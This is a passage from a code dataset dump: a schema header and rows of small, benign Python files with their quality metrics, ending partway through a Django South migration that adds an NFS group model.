hexsha
string | size
int64 | ext
string | lang
string | max_stars_repo_path
string | max_stars_repo_name
string | max_stars_repo_head_hexsha
string | max_stars_repo_licenses
list | max_stars_count
int64 | max_stars_repo_stars_event_min_datetime
string | max_stars_repo_stars_event_max_datetime
string | max_issues_repo_path
string | max_issues_repo_name
string | max_issues_repo_head_hexsha
string | max_issues_repo_licenses
list | max_issues_count
int64 | max_issues_repo_issues_event_min_datetime
string | max_issues_repo_issues_event_max_datetime
string | max_forks_repo_path
string | max_forks_repo_name
string | max_forks_repo_head_hexsha
string | max_forks_repo_licenses
list | max_forks_count
int64 | max_forks_repo_forks_event_min_datetime
string | max_forks_repo_forks_event_max_datetime
string | content
string | avg_line_length
float64 | max_line_length
int64 | alphanum_fraction
float64 | qsc_code_num_words_quality_signal
int64 | qsc_code_num_chars_quality_signal
float64 | qsc_code_mean_word_length_quality_signal
float64 | qsc_code_frac_words_unique_quality_signal
float64 | qsc_code_frac_chars_top_2grams_quality_signal
float64 | qsc_code_frac_chars_top_3grams_quality_signal
float64 | qsc_code_frac_chars_top_4grams_quality_signal
float64 | qsc_code_frac_chars_dupe_5grams_quality_signal
float64 | qsc_code_frac_chars_dupe_6grams_quality_signal
float64 | qsc_code_frac_chars_dupe_7grams_quality_signal
float64 | qsc_code_frac_chars_dupe_8grams_quality_signal
float64 | qsc_code_frac_chars_dupe_9grams_quality_signal
float64 | qsc_code_frac_chars_dupe_10grams_quality_signal
float64 | qsc_code_frac_chars_replacement_symbols_quality_signal
float64 | qsc_code_frac_chars_digital_quality_signal
float64 | qsc_code_frac_chars_whitespace_quality_signal
float64 | qsc_code_size_file_byte_quality_signal
float64 | qsc_code_num_lines_quality_signal
float64 | qsc_code_num_chars_line_max_quality_signal
float64 | qsc_code_num_chars_line_mean_quality_signal
float64 | qsc_code_frac_chars_alphabet_quality_signal
float64 | qsc_code_frac_chars_comments_quality_signal
float64 | qsc_code_cate_xml_start_quality_signal
float64 | qsc_code_frac_lines_dupe_lines_quality_signal
float64 | qsc_code_cate_autogen_quality_signal
float64 | qsc_code_frac_lines_long_string_quality_signal
float64 | qsc_code_frac_chars_string_length_quality_signal
float64 | qsc_code_frac_chars_long_word_length_quality_signal
float64 | qsc_code_frac_lines_string_concat_quality_signal
float64 | qsc_code_cate_encoded_data_quality_signal
float64 | qsc_code_frac_chars_hex_words_quality_signal
float64 | qsc_code_frac_lines_prompt_comments_quality_signal
float64 | qsc_code_frac_lines_assert_quality_signal
float64 | qsc_codepython_cate_ast_quality_signal
float64 | qsc_codepython_frac_lines_func_ratio_quality_signal
float64 | qsc_codepython_cate_var_zero_quality_signal
bool | qsc_codepython_frac_lines_pass_quality_signal
float64 | qsc_codepython_frac_lines_import_quality_signal
float64 | qsc_codepython_frac_lines_simplefunc_quality_signal
float64 | qsc_codepython_score_lines_no_logic_quality_signal
float64 | qsc_codepython_frac_lines_print_quality_signal
float64 | qsc_code_num_words
int64 | qsc_code_num_chars
int64 | qsc_code_mean_word_length
int64 | qsc_code_frac_words_unique
null | qsc_code_frac_chars_top_2grams
int64 | qsc_code_frac_chars_top_3grams
int64 | qsc_code_frac_chars_top_4grams
int64 | qsc_code_frac_chars_dupe_5grams
int64 | qsc_code_frac_chars_dupe_6grams
int64 | qsc_code_frac_chars_dupe_7grams
int64 | qsc_code_frac_chars_dupe_8grams
int64 | qsc_code_frac_chars_dupe_9grams
int64 | qsc_code_frac_chars_dupe_10grams
int64 | qsc_code_frac_chars_replacement_symbols
int64 | qsc_code_frac_chars_digital
int64 | qsc_code_frac_chars_whitespace
int64 | qsc_code_size_file_byte
int64 | qsc_code_num_lines
int64 | qsc_code_num_chars_line_max
int64 | qsc_code_num_chars_line_mean
int64 | qsc_code_frac_chars_alphabet
int64 | qsc_code_frac_chars_comments
int64 | qsc_code_cate_xml_start
int64 | qsc_code_frac_lines_dupe_lines
int64 | qsc_code_cate_autogen
int64 | qsc_code_frac_lines_long_string
int64 | qsc_code_frac_chars_string_length
int64 | qsc_code_frac_chars_long_word_length
int64 | qsc_code_frac_lines_string_concat
null | qsc_code_cate_encoded_data
int64 | qsc_code_frac_chars_hex_words
int64 | qsc_code_frac_lines_prompt_comments
int64 | qsc_code_frac_lines_assert
int64 | qsc_codepython_cate_ast
int64 | qsc_codepython_frac_lines_func_ratio
int64 | qsc_codepython_cate_var_zero
int64 | qsc_codepython_frac_lines_pass
int64 | qsc_codepython_frac_lines_import
int64 | qsc_codepython_frac_lines_simplefunc
int64 | qsc_codepython_score_lines_no_logic
int64 | qsc_codepython_frac_lines_print
int64 | effective
string | hits
int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
78ef1fb1a7fe487499d40cf69c8405e21cc00129
| 100
|
py
|
Python
|
app/errors/__init__.py
|
streuby/examsys
|
c7923d03f65aaca62551ff403bf3c66b2b56134e
|
[
"MIT"
] | null | null | null |
app/errors/__init__.py
|
streuby/examsys
|
c7923d03f65aaca62551ff403bf3c66b2b56134e
|
[
"MIT"
] | null | null | null |
app/errors/__init__.py
|
streuby/examsys
|
c7923d03f65aaca62551ff403bf3c66b2b56134e
|
[
"MIT"
] | null | null | null |
from flask import Blueprint
errors = Blueprint('error', __name__)
from app.errors import handlers
| 16.666667
| 37
| 0.79
| 13
| 100
| 5.769231
| 0.692308
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.14
| 100
| 5
| 38
| 20
| 0.872093
| 0
| 0
| 0
| 0
| 0
| 0.05
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.666667
| 0
| 0.666667
| 0.666667
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 1
|
0
| 5
|
60aebf96eac4f7fb154f196fbda63c34388f8b91
| 166
|
py
|
Python
|
src/View/Image.py
|
anthonyf996/ChessApp
|
614f72bc641793681fd5ad7040d6a4c407c9ae9e
|
[
"MIT"
] | null | null | null |
src/View/Image.py
|
anthonyf996/ChessApp
|
614f72bc641793681fd5ad7040d6a4c407c9ae9e
|
[
"MIT"
] | null | null | null |
src/View/Image.py
|
anthonyf996/ChessApp
|
614f72bc641793681fd5ad7040d6a4c407c9ae9e
|
[
"MIT"
] | null | null | null |
class Image:
def __init__(self, name):
self.name = name
def register(self):
raise NotImplementedError
def getImg(self):
raise NotImplementedError
| 16.6
| 29
| 0.704819
| 19
| 166
| 5.947368
| 0.526316
| 0.141593
| 0.495575
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.216867
| 166
| 9
| 30
| 18.444444
| 0.869231
| 0
| 0
| 0.285714
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.428571
| false
| 0
| 0
| 0
| 0.571429
| 0
| 1
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 5
|
60ce7820737d48cb932798af3c31596e34aadcb9
| 214
|
py
|
Python
|
tracardi/exceptions/exception.py
|
suhail34/tracardi
|
d47f806f13b5a1b7c9bb02d3ed7572941cb40ca0
|
[
"MIT"
] | null | null | null |
tracardi/exceptions/exception.py
|
suhail34/tracardi
|
d47f806f13b5a1b7c9bb02d3ed7572941cb40ca0
|
[
"MIT"
] | null | null | null |
tracardi/exceptions/exception.py
|
suhail34/tracardi
|
d47f806f13b5a1b7c9bb02d3ed7572941cb40ca0
|
[
"MIT"
] | null | null | null |
class TracardiException(Exception):
pass
class StorageException(TracardiException):
pass
class ExpiredException(TracardiException):
pass
class UnauthorizedException(TracardiException):
pass
| 12.588235
| 47
| 0.775701
| 16
| 214
| 10.375
| 0.4375
| 0.162651
| 0.313253
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.168224
| 214
| 16
| 48
| 13.375
| 0.932584
| 0
| 0
| 0.5
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.5
| 0
| 0
| 0.5
| 0
| 1
| 0
| 1
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
|
0
| 5
|
60d6c9c39059e6208345c85cd8904511395d26cd
| 134
|
py
|
Python
|
in_toto/__init__.py
|
ashishdas009/in-toto
|
37a859ce8d856d69fb3399c8c8cbebfc1dd1e97a
|
[
"Apache-2.0"
] | null | null | null |
in_toto/__init__.py
|
ashishdas009/in-toto
|
37a859ce8d856d69fb3399c8c8cbebfc1dd1e97a
|
[
"Apache-2.0"
] | null | null | null |
in_toto/__init__.py
|
ashishdas009/in-toto
|
37a859ce8d856d69fb3399c8c8cbebfc1dd1e97a
|
[
"Apache-2.0"
] | null | null | null |
"""
Configure base logger for in_toto (see in_toto.log for details).
"""
import in_toto.log
# in-toto version
__version__ = "0.4.1"
| 14.888889
| 64
| 0.708955
| 23
| 134
| 3.826087
| 0.608696
| 0.272727
| 0.204545
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.026549
| 0.156716
| 134
| 8
| 65
| 16.75
| 0.752212
| 0.604478
| 0
| 0
| 0
| 0
| 0.113636
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
60e8d51d4468c913bda04c4895e43342960796d4
| 87
|
py
|
Python
|
jaxrk/__init__.py
|
ingmarschuster/JaxRK
|
1de11e1fe79c1cf14a111b441d9c7b60c3725bf9
|
[
"MIT"
] | null | null | null |
jaxrk/__init__.py
|
ingmarschuster/JaxRK
|
1de11e1fe79c1cf14a111b441d9c7b60c3725bf9
|
[
"MIT"
] | null | null | null |
jaxrk/__init__.py
|
ingmarschuster/JaxRK
|
1de11e1fe79c1cf14a111b441d9c7b60c3725bf9
|
[
"MIT"
] | null | null | null |
from . import (core, kern, reduce, rkhs, utilities)
from .gp import GP, gp_cv_val_lhood
| 43.5
| 51
| 0.758621
| 15
| 87
| 4.2
| 0.733333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.137931
| 87
| 2
| 52
| 43.5
| 0.84
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
880430b902e282ab14b3d31501ef94799c429ed9
| 128
|
py
|
Python
|
python_for_absolute_beginners/33_one_parameter_function.py
|
leonardo-gallegos/Python
|
986ba32eb1c5fd9fb829c08b46c7ef6112a6eba2
|
[
"MIT"
] | null | null | null |
python_for_absolute_beginners/33_one_parameter_function.py
|
leonardo-gallegos/Python
|
986ba32eb1c5fd9fb829c08b46c7ef6112a6eba2
|
[
"MIT"
] | null | null | null |
python_for_absolute_beginners/33_one_parameter_function.py
|
leonardo-gallegos/Python
|
986ba32eb1c5fd9fb829c08b46c7ef6112a6eba2
|
[
"MIT"
] | null | null | null |
def name_printer(user_name):
print("Your name is", user_name)
name = input("Please enter your name: ")
name_printer(name)
| 18.285714
| 40
| 0.71875
| 20
| 128
| 4.4
| 0.5
| 0.25
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.15625
| 128
| 6
| 41
| 21.333333
| 0.814815
| 0
| 0
| 0
| 0
| 0
| 0.28125
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0
| 0
| 0
| 0.25
| 0.75
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 5
|
8807baaf2a6180e3a27a9f4e1237c69e395b67db
| 52
|
py
|
Python
|
pvfit/modeling/double_diode/equation_test.py
|
markcampanelli/pvfit
|
e526f3757279a3f8c41295aab94c1575ee9485fc
|
[
"MIT"
] | 4
|
2019-09-17T15:19:17.000Z
|
2021-11-24T03:21:03.000Z
|
pvfit/modeling/double_diode/equation_test.py
|
markcampanelli/pvfit-m
|
6e2b9e0797b40de8eb587ec50102421cd2071b9e
|
[
"MIT"
] | 10
|
2019-08-09T15:40:51.000Z
|
2019-09-06T06:06:20.000Z
|
pvfit/modeling/double_diode/equation_test.py
|
markcampanelli/pvfit
|
e526f3757279a3f8c41295aab94c1575ee9485fc
|
[
"MIT"
] | 2
|
2019-10-01T07:40:16.000Z
|
2019-10-25T09:27:45.000Z
|
import pvfit.modeling.double_diode.equation # noqa
| 26
| 51
| 0.826923
| 7
| 52
| 6
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.096154
| 52
| 1
| 52
| 52
| 0.893617
| 0.076923
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
8814dfc53262f1649833705962cb2d717fa1bc1c
| 239
|
py
|
Python
|
ramen/editor/qt/nodegraph/__init__.py
|
bmwang/ramen
|
92d9eefb072d19fb7973a8ea18a1bbad91fcab77
|
[
"Apache-2.0"
] | null | null | null |
ramen/editor/qt/nodegraph/__init__.py
|
bmwang/ramen
|
92d9eefb072d19fb7973a8ea18a1bbad91fcab77
|
[
"Apache-2.0"
] | null | null | null |
ramen/editor/qt/nodegraph/__init__.py
|
bmwang/ramen
|
92d9eefb072d19fb7973a8ea18a1bbad91fcab77
|
[
"Apache-2.0"
] | null | null | null |
from .nodegraph import Nodegraph
from .node import Node, SubgraphNode
from .nodegraphscene import NodegraphScene
from .nodegraphview import NodegraphView
from .parameter import Parameter
from .connection import Connection, MouseConnection
| 34.142857
| 51
| 0.857741
| 26
| 239
| 7.884615
| 0.384615
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.108787
| 239
| 6
| 52
| 39.833333
| 0.962441
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
71485630cea5892b0eb49bb4efc7b6b78b27ac60
| 15,847
|
py
|
Python
|
dbaas_nfsaas/migrations/0011_auto__add_group__add_field_hostattr_group.py
|
globocom/dbaas-nfsaas
|
c05dad5493454289ce4cd91f96cd44bfcc66b184
|
[
"BSD-3-Clause"
] | 2
|
2017-01-19T15:39:13.000Z
|
2017-07-17T19:17:16.000Z
|
dbaas_nfsaas/migrations/0011_auto__add_group__add_field_hostattr_group.py
|
globocom/dbaas-nfsaas
|
c05dad5493454289ce4cd91f96cd44bfcc66b184
|
[
"BSD-3-Clause"
] | 6
|
2017-07-14T13:03:45.000Z
|
2022-03-29T21:55:18.000Z
|
dbaas_nfsaas/migrations/0011_auto__add_group__add_field_hostattr_group.py
|
globocom/dbaas-nfsaas
|
c05dad5493454289ce4cd91f96cd44bfcc66b184
|
[
"BSD-3-Clause"
] | null | null | null |
# -*- coding: utf-8 -*-
import datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Adding model 'Group'
db.create_table(u'dbaas_nfsaas_group', (
(u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('created_at', self.gf('django.db.models.fields.DateTimeField')(auto_now_add=True, blank=True)),
('updated_at', self.gf('django.db.models.fields.DateTimeField')(auto_now=True, blank=True)),
('infra', self.gf('django.db.models.fields.related.ForeignKey')(related_name='nfsaas_group', to=orm['physical.DatabaseInfra'])),
('resource_id', self.gf('django.db.models.fields.CharField')(unique=True, max_length=100)),
))
db.send_create_signal(u'dbaas_nfsaas', ['Group'])
# Adding field 'HostAttr.group'
db.add_column(u'dbaas_nfsaas_hostattr', 'group',
self.gf('django.db.models.fields.related.ForeignKey')(blank=True, related_name='hosts', null=True, to=orm['dbaas_nfsaas.Group']),
keep_default=False)
def backwards(self, orm):
# Deleting model 'Group'
db.delete_table(u'dbaas_nfsaas_group')
# Deleting field 'HostAttr.group'
db.delete_column(u'dbaas_nfsaas_hostattr', 'group_id')
models = {
u'dbaas_nfsaas.group': {
'Meta': {'object_name': 'Group'},
'created_at': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'infra': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'nfsaas_group'", 'to': u"orm['physical.DatabaseInfra']"}),
'resource_id': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '100'}),
'updated_at': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'})
},
u'dbaas_nfsaas.hostattr': {
'Meta': {'object_name': 'HostAttr'},
'created_at': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}),
'group': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'hosts'", 'null': 'True', 'to': u"orm['dbaas_nfsaas.Group']"}),
'host': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'nfsaas_host_attributes'", 'to': u"orm['physical.Host']"}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),
'nfsaas_export_id': ('django.db.models.fields.CharField', [], {'max_length': '10'}),
'nfsaas_path': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'nfsaas_path_host': ('django.db.models.fields.CharField', [], {'default': "''", 'max_length': '100'}),
'nfsaas_size_kb': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'nfsaas_used_size_kb': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'updated_at': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'})
},
u'physical.databaseinfra': {
'Meta': {'object_name': 'DatabaseInfra'},
'capacity': ('django.db.models.fields.PositiveIntegerField', [], {'default': '1'}),
'created_at': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}),
'database_key': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}),
'disk_offering': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "u'databaseinfras'", 'null': 'True', 'on_delete': 'models.PROTECT', 'to': u"orm['physical.DiskOffering']"}),
'endpoint': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}),
'endpoint_dns': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}),
'engine': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "u'databaseinfras'", 'on_delete': 'models.PROTECT', 'to': u"orm['physical.Engine']"}),
'environment': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "u'databaseinfras'", 'on_delete': 'models.PROTECT', 'to': u"orm['physical.Environment']"}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'last_vm_created': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '100'}),
'name_prefix': ('django.db.models.fields.CharField', [], {'max_length': '10', 'null': 'True', 'blank': 'True'}),
'name_stamp': ('django.db.models.fields.CharField', [], {'max_length': '20', 'null': 'True', 'blank': 'True'}),
'password': ('django.db.models.fields.CharField', [], {'max_length': '406', 'blank': 'True'}),
'per_database_size_mbytes': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
'plan': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "u'databaseinfras'", 'on_delete': 'models.PROTECT', 'to': u"orm['physical.Plan']"}),
'updated_at': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}),
'user': ('django.db.models.fields.CharField', [], {'max_length': '100', 'blank': 'True'})
},
u'physical.diskoffering': {
'Meta': {'object_name': 'DiskOffering'},
'created_at': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '255'}),
'size_kb': ('django.db.models.fields.PositiveIntegerField', [], {}),
'updated_at': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'})
},
u'physical.engine': {
'Meta': {'ordering': "(u'engine_type__name', u'version')", 'unique_together': "((u'version', u'engine_type'),)", 'object_name': 'Engine'},
'created_at': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}),
'engine_type': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "u'engines'", 'on_delete': 'models.PROTECT', 'to': u"orm['physical.EngineType']"}),
'engine_upgrade_option': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "u'backwards_engine'", 'null': 'True', 'on_delete': 'models.SET_NULL', 'to': u"orm['physical.Engine']"}),
'has_users': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'path': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}),
'read_node_description': ('django.db.models.fields.CharField', [], {'default': "u''", 'max_length': '100', 'null': 'True', 'blank': 'True'}),
'template_name': ('django.db.models.fields.CharField', [], {'max_length': '200', 'null': 'True', 'blank': 'True'}),
'updated_at': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}),
'user_data_script': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}),
'version': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'write_node_description': ('django.db.models.fields.CharField', [], {'default': "u''", 'max_length': '100', 'null': 'True', 'blank': 'True'})
},
u'physical.enginetype': {
'Meta': {'ordering': "(u'name',)", 'object_name': 'EngineType'},
'created_at': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'is_in_memory': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '100'}),
'updated_at': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'})
},
u'physical.environment': {
'Meta': {'object_name': 'Environment'},
'created_at': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'min_of_zones': ('django.db.models.fields.PositiveIntegerField', [], {'default': '1'}),
'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '100'}),
'updated_at': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'})
},
u'physical.host': {
'Meta': {'object_name': 'Host'},
'address': ('django.db.models.fields.CharField', [], {'max_length': '255'}),
'created_at': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}),
'future_host': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['physical.Host']", 'null': 'True', 'on_delete': 'models.SET_NULL', 'blank': 'True'}),
'hostname': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '255'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'monitor_url': ('django.db.models.fields.URLField', [], {'max_length': '500', 'null': 'True', 'blank': 'True'}),
'os_description': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}),
'updated_at': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'})
},
u'physical.parameter': {
'Meta': {'ordering': "(u'engine_type__name', u'name')", 'unique_together': "((u'name', u'engine_type'),)", 'object_name': 'Parameter'},
'class_path': ('django.db.models.fields.CharField', [], {'max_length': '200', 'null': 'True', 'blank': 'True'}),
'created_at': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}),
'dynamic': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),
'engine_type': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "u'enginetype'", 'on_delete': 'models.PROTECT', 'to': u"orm['physical.EngineType']"}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '200'}),
'updated_at': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'})
},
u'physical.plan': {
'Meta': {'object_name': 'Plan'},
'created_at': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}),
'description': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}),
'disk_offering': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "u'plans'", 'null': 'True', 'on_delete': 'models.PROTECT', 'to': u"orm['physical.DiskOffering']"}),
'engine': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "u'plans'", 'to': u"orm['physical.Engine']"}),
'engine_equivalent_plan': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "u'backwards_plan'", 'null': 'True', 'on_delete': 'models.SET_NULL', 'to': u"orm['physical.Plan']"}),
'environments': ('django.db.models.fields.related.ManyToManyField', [], {'related_name': "u'plans'", 'symmetrical': 'False', 'to': u"orm['physical.Environment']"}),
'has_persistence': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),
'is_ha': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'max_db_size': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '100'}),
'provider': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
'replication_topology': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "u'replication_topology'", 'null': 'True', 'to': u"orm['physical.ReplicationTopology']"}),
'updated_at': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'})
},
u'physical.replicationtopology': {
'Meta': {'object_name': 'ReplicationTopology'},
'class_path': ('django.db.models.fields.CharField', [], {'max_length': '200'}),
'created_at': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}),
'details': ('django.db.models.fields.CharField', [], {'max_length': '200', 'null': 'True', 'blank': 'True'}),
'engine': ('django.db.models.fields.related.ManyToManyField', [], {'related_name': "u'replication_topologies'", 'symmetrical': 'False', 'to': u"orm['physical.Engine']"}),
'has_horizontal_scalability': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '200'}),
'parameter': ('django.db.models.fields.related.ManyToManyField', [], {'symmetrical': 'False', 'related_name': "u'replication_topologies'", 'blank': 'True', 'to': u"orm['physical.Parameter']"}),
'script': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "u'replication_topologies'", 'null': 'True', 'to': u"orm['physical.Script']"}),
'updated_at': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'})
},
u'physical.script': {
'Meta': {'object_name': 'Script'},
'configuration': ('django.db.models.fields.CharField', [], {'max_length': '300'}),
